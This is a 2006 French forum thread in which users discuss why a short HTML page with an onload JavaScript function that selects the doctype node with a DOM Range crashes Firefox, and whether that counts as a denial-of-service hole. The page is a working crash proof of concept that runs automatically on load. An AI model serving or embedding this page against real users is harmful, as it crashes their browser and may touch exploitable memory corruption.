Faille Firefox - Codes et scripts - Linux et OS Alternatifs
Marsh Posté le 14-12-2006 à 15:00:02
faudrait demander aux progueux plutôt
par contre je suis intrigué par ton titre
Marsh Posté le 14-12-2006 à 15:05:50
wedgeant a écrit : faudrait demander aux progueux plutôt |
lol faille et pas fille, je corrige .
par contre, les progueux ont fermé un topic comme celui là, ( c'est comme même pas illégale ! ) .
Marsh Posté le 14-12-2006 à 15:21:31
kadreg a écrit : ah non, vous le gardez |
Sans vouloir ... c'est plus de la prog que de l'OS alter quand même hein
Marsh Posté le 14-12-2006 à 15:26:20
wedgeant a écrit : |
oui mais si quelqu'un sais...
Marsh Posté le 14-12-2006 à 15:27:11
big_dadi_fat a écrit : Salut. |
je crois que ça plante car document.firstChild n'est pas un node, mais le type de document (ici html) car il y a une DTD associée). Du coup, le range.selectNode() fait n'importe quoi, et quand tu essaies de remplacer le contenu du range par un simple "<span></span>", ca fait planter firefox.
Je suis pas du tout un expert de javascript, mais je suppose qu'en vérifiant les retours des différentes fonctions appelées, on pourrait éviter la catastrophe. En tous cas, ceci est au moins un début d'explication...
EDIT: d'ailleurs, si tu enlèves la spécification de la DTD, ça ne plante plus, car dans ce cas le type d'objet renvoyé par firstChild() n'est plus le même
plus de détails sur le DOM de Gecko ici: http://developer.mozilla.org/en/do [...] _Reference
Marsh Posté le 14-12-2006 à 16:21:23
franceso a écrit : je crois que ça plante car document.firstChild n'est pas un node, mais le type de document |
document EST un node
http://www.w3.org/TR/1998/REC-DOM- [...] i-Document
Marsh Posté le 14-12-2006 à 16:21:47
et document type aussi http://xmlfr.org/w3c/TR/REC-DOM-Le [...] -412266927
Marsh Posté le 14-12-2006 à 17:16:42
OK, au temps pour moi...
Mais alors c'est quoi la différence entre le html avec et sans spécification de DTD ?
Marsh Posté le 14-12-2006 à 17:27:38
big_dadi_fat a écrit : lol faille et pas fille, je corrige . |
: quand même c'est mieux non
Marsh Posté le 14-12-2006 à 19:01:29
en quoi c'est une faille ?
c'est exploitable pour faire exécuter du code ?
et j'allais oublier, rapport avec les OS alternatifs ? et c'est quoi cette sous-cat ?
Marsh Posté le 15-12-2006 à 00:33:03
Mjules a écrit : en quoi c'est une faille ? |
C'est une forme de déni de service. Un site est pas censé avoir la possibilité de t'envoyer chier tout tes autres sites.
De plus ça finit en segfault, j'ai pas fouillé plus que ça, mais ça peut être signe d'une corruption mémoire exploitable.
Marsh Posté le 14-12-2006 à 14:58:39
Salut.
Quelqu'un peut-il m'expliqué ce script qui fait planté Firefox ?!
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<script type="text/javascript">
function do_crash()
{
var range;
range = document.createRange();
range.selectNode(document.firstChild);
range.createContextualFragment('<span></span>');
}
</script>
</head>
<body onload="do_crash()">
<p>Good bye Firefox!</p>
</body>
</html>
Message édité par big_dadi_fat le 14-12-2006 à 15:03:43